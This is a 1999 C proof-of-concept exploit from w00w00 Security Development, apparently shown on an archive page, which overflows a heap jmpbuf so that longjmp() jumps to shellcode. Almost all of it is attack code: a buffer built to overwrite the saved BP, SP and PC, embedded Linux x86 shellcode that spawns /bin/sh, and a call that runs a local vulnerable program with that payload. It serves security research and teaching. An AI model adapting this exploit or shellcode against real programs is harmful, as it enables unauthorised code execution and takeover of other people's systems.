home *** CD-ROM | disk | FTP | other *** search
- /*
- * Copyright (C) January 1999, Matt Conover & w00w00 Security Development
- *
- * Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
- * to emulate a stack overflow in the heap. By that I mean,
- * you would overflow the sp/pc of the jmpbuf. When longjmp() is
- * called, it will execute the next instruction at that address.
- * Therefore, we can stick shellcode at this address (as the data/heap
- * section on most systems is executable) and it will be executed.
- *
- * This takes two arguments (offsets):
- * arg 1 - stack offset (should be about 25-45).
- * arg 2 - argv offset (should be about 310-330).
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
-
- #define ERROR -1
- #define BUFSIZE 16
-
- #define VULPROG "./vulprog4"
-
- char shellcode[] = /* just aleph1's old shellcode (linux x86) */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
- "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- u_long getesp()
- {
- __asm__("movl %esp,%eax"); /* the return value goes in %eax */
- }
-
- int main(int argc, char **argv)
- {
- int stackaddr, argvaddr;
- register int index, i, j;
-
- char buf[BUFSIZE + 24 + 1];
-
- if (argc <= 1)
- {
- fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
- argv[0]);
-
- fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
- fprintf(stderr, "[argv offset = offset to argv[2]]\n");
-
- exit(ERROR);
- }
-
- stackaddr = getesp() - atoi(argv[1]);
- argvaddr = getesp() + atoi(argv[2]);
-
- printf("trying address 0x%lx for argv[2]\n", argvaddr);
- printf("trying address 0x%lx for sp\n\n", stackaddr);
-
- /*
- * The second memset() is needed, because otherwise some values
- * will be (null) and the longjmp() won't do our shellcode.
- */
-
- memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12);
- buf[BUFSIZE+24] = '\0';
-
- /* ------------------------------------- */
-
- /*
- * We need the stack pointer, because to set pc to our shellcode
- * address, we have to overwrite the stack pointer for jmpbuf.
- * Therefore, we'll rewrite it with the real address again.
- */
-
- for (i = 0; i < sizeof(u_long); i++) /* setup BP */
- {
- index = BUFSIZE + 16 + i;
- buf[index] = (stackaddr >> (i * 8)) & 255;
- }
-
- /* ----------------------------- */
-
- for (i = 0; i < sizeof(u_long); i++) /* setup SP */
- {
- index = BUFSIZE + 20 + i;
- buf[index] = (stackaddr >> (i * 8)) & 255;
- }
-
- /* ----------------------------- */
-
- for (i = 0; i < sizeof(u_long); i++) /* setup PC */
- {
- index = BUFSIZE + 24 + i;
- buf[index] = (argvaddr >> (i * 8)) & 255;
- }
-
- execl(VULPROG, VULPROG, buf, shellcode, NULL);
- return 0;
- }
-